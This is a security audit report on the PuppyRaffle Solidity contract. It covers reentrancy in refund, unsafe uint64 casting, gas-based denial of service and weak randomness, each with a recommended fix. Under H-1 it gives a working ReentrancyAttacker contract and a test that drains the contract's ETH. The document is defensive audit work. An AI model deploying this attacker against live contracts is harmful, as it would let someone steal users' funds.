PuppyRaffle Security Review

Reviewer: Muhammad Faran **Date:** June 16, 2025 **Repo:** Cyfrin/4-puppy-raffle-audit **Commit Hash:** 22bbbb2c47f3f2b78c1b134590baf41383fd354f

---

Table of Contents

Disclaimer

I made all effort to find as many vulnerabilities in the code in the given time period, but hold no responsibilities for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and view of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk-Classification

The severity of each finding combines **Impact** (the damage if exploited) and **Likelihood** (the chance of exploitation). The matrix below illustrates how these two axes map to a single severity label:

Likelihood ↓ / Impact →	High	Medium	Low
High	High	High/Medium	Medium
Medium	High/Medium	Medium	Medium-Low
Low	Medium	Medium-Low	Low

Audit Details

Commit Hash Reviewed: `22bbbb2c47f3f2b78c1b134590baf41383fd354f`

Scope:

1. `./src/`
2. `PuppyRaffle.sol`

Protocol Summary

PuppyRaffle is a protocol dedicated to raffling off puppy NFTs with varying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- **Owner:** The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- **FeeUser:** The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- **RaffleEntrant:** Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Severity	Number Of Issues Found
High	**2**
Medium	**4**
Low	**1**

Vulnerabilities Found

[H-1] Reentrancy Vulnerability in `refund` Function Allows Draining of Protocol Funds

Description:

In the `refund` function, the contract sends the refund to the player (`payable(msg.sender).sendValue(entranceFee);`) before updating the player's state in the `players` array (`players[playerIndex] = address(0);`). This order of operations allows a malicious contract to re-enter the `refund` function before its state is updated, enabling multiple refunds for the same entry. As a result, an attacker could repeatedly call `refund` and drain the contract's funds.

```
        // @audit Reentrancy, Refunding first
        payable(msg.sender).sendValue(entranceFee);

        // Changing state later
```

```
      players[playerIndex] = address(0);
      emit RaffleRefunded(playerAddress);
```

Impact:

- An attacker can exploit this vulnerability to receive multiple refunds for a single entry, potentially draining all ETH from the contract.
- This could result in a total loss of funds for the protocol and its users.

Proof Of Concept:

- In the following way an attacker address can reenter and drain the protocol.

- Add the following attacker contract to `PuppyRaffleTest`.

  ```
  contract ReentrancyAttacker {
    PuppyRaffle public puppyRaffle;
    uint256 public entranceFee;
    uint256 public attackerIndex;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    fallback() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }
  }
  ```

- Also add the following testfunction and then test it, this will prove reentrancy.

```
function testReentrance() public playersEntered {
    ReentrancyAttacker attacker = new ReentrancyAttacker(address(puppyRaffle));
    vm.deal(address(attacker), 1e18);
    uint256 startingAttackerBalance = address(attacker).balance;
    uint256 startingContractBalance = address(puppyRaffle).balance;

    attacker.attack();

    uint256 endingAttackerBalance = address(attacker).balance;
    uint256 endingContractBalance = address(puppyRaffle).balance;
```

```
    assertEq(endingAttackerBalance, startingAttackerBalance +
startingContractBalance);
    assertEq(endingContractBalance, 0);
}
```

Recommended Mitigation:

- Always update the contract's state before making any external calls (such as sending ETH).
- Always have checks first then state changes and in the end fund transfers.
- Move `players[playerIndex] = address(0);` and `emit RaffleRefunded(playerAddress);` before the refund transfer.
- Optionally, use a reentrancy guard (e.g., OpenZeppelin's `ReentrancyGuard`) to further protect against reentrancy attacks.

[H-2] Unsafe Casting of ETH Fee from `uint256` to `uint64` Can Cause Value Loss

Description:

In the `selectWinner` function, the calculated fee (a `uint256` value) is cast to a `uint64` before being added to the `totalFees` variable:

```
//@audit unsafe casting of eth fee which is uint256 is casted onto uint64
totalFees = totalFees + uint64(fee);
```

This introduces a risk of value truncation or overflow if the fee ever exceeds the maximum value representable by a uint64 (18,446,744,073,709,551,615). Any excess value will be lost, leading to incorrect accounting of protocol fees.

Impact:

If the fee exceeds the uint64 limit, the stored value will wrap around, causing a loss of ETH accounting accuracy.
This could result in the protocol underreporting or losing track of collected fees, potentially leading to financial loss or inability to withdraw the correct amount.

Proof of Concept:

If fee is set to uint64 maximum value plus 1 (i.e., 18,446,744,073,709,551,616), then uint64(fee) will be 0, and the protocol will lose track of this fee entirely.

Recommended Mitigation:

- Use uint256 for all ETH and fee-related variables and calculations to avoid truncation and overflow.
- Remove the cast and update the totalFees variable type accordingly:

```
// Change declaration
uint256 public totalFees = 0;

// Update assignment
totalFees = totalFees + fee;
```

[M-1] Denial Of Service: Players May Be Unable to Enter Raffle via `PuppyRaffle::enterRaffle`

Description:

The `enterRaffle` function checks for duplicate players by performing a nested loop over the entire `players` array. This results in an O(n²) operation, where `n` is the total number of players. As the array grows, the gas cost for this function increases rapidly. Eventually, if the array becomes large enough, the function will exceed the block gas limit and revert, preventing any new players from entering the raffle.

Impact:

- The raffle can become permanently unusable if the `players` array grows too large.
- No new players will be able to enter, effectively freezing the protocol and causing a denial of service for all users.

Recommended Mitigation:

- Replace the duplicate check with a mapping (e.g., `mapping(address => bool) hasEntered`) to track player participation, allowing for O(1) checks.
- Avoid unbounded loops over dynamic arrays in public or external functions.
- Refactor the logic to ensure scalability and prevent gas exhaustion.

[M-2] Denial Of Service in `getActivePlayerIndex` Due to Unbounded Linear Search

Description:

The `getActivePlayerIndex` function performs a linear search over the entire `players` array to find the index of a given player. As the number of players grows, the gas cost for this function increases linearly. If the array becomes large enough, the function may exceed the block gas limit, causing it to revert and become unusable.

Impact:

- Users may be unable to retrieve their player index if the array is too large.
- Any functionality that relies on this function (such as refunds) could be disrupted, leading to a denial of service for users.

Recommended Mitigation:

- Use a mapping (e.g., `mapping(address => uint256) playerIndex`) to track player indices, allowing for constant-time lookups.
- Avoid unbounded loops over dynamic arrays in public or external functions to ensure scalability and reliability.

[M-3] Weak Randomness in `selectWinner` Allows Manipulation of Raffle Outcome

Description:

The `selectWinner` function uses block variables (`block.timestamp`, `block.difficulty`) and `msg.sender` as inputs to `keccak256` for generating the winner index and NFT rarity. These sources of "randomness" are predictable and can be influenced by both the caller and block producers (miners/validators). As a result, attackers can manipulate or predict the outcome of the raffle, undermining fairness and security.

Impact:

- Attackers can potentially predict or manipulate the winner selection and NFT rarity.
- This allows malicious actors to win the raffle or mint rare NFTs more frequently than intended, compromising the integrity of the protocol.

Proof of Concept:

An attacker can repeatedly call `selectWinner` from different addresses or at specific block times to maximize their chances of winning or minting a rare NFT. Since `msg.sender` is fully controlled by the caller and block variables can be influenced by miners, the outcome can be gamed.

Recommended Mitigation:

- Integrate a secure source of randomness, such as [Chainlink VRF](), to ensure unpredictable and tamper-proof random number generation.
- Avoid using only block variables and `msg.sender` for randomness in any production smart contract.

[M-4] Weak Randomness for NFT Rarity Assignment Allows Manipulation

Description:

The `selectWinner` function determines the rarity of the minted NFT using the following line:

```
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) %
100;
```

This approach relies on msg.sender (fully controlled by the caller) and block.difficulty (which can be influenced by miners/validators) as sources of randomness. Both are predictable or manipulable, making the rarity assignment process insecure and susceptible to gaming by attackers.

Impact:

- Attackers can repeatedly call selectWinner from different addresses or at specific times to increase their chances of minting a rare or legendary NFT.
- This undermines the fairness and intended rarity distribution of the NFTs, potentially harming the protocol’s reputation and value.

Proof of Concept:

An attacker can deploy multiple contracts or use multiple addresses to call selectWinner and observe the resulting rarity. By brute-forcing or timing their calls, they can maximize their chances of receiving a rare or legendary NFT.

Recommended Mitigation:

- Use a secure, verifiable source of randomness such as Chainlink VRF to ensure that NFT rarity assignment is unpredictable and cannot be manipulated by users or miners.

- Avoid using only block variables and msg.sender for any randomness in production smart contracts.

[L-1] Unused and DoS-Prone `_isActivePlayer` Function

Description:

The internal function `_isActivePlayer` performs a linear search over the entire `players` array to check if `msg.sender` is an active player. This approach is inefficient and can lead to denial of service (DoS) if the `players` array becomes large, as the function could exceed the block gas limit. Additionally, this function is not called anywhere in the contract, making it redundant.

Impact:

- If used, the function could cause transactions to fail due to excessive gas consumption, resulting in a DoS condition.
- Unused code increases the contract's attack surface and maintenance burden.

Recommended Mitigation:

- Remove the `_isActivePlayer` function entirely since it is not used anywhere in the contract.
- If similar functionality is needed in the future, use a mapping for O(1) lookups instead of iterating over an array.
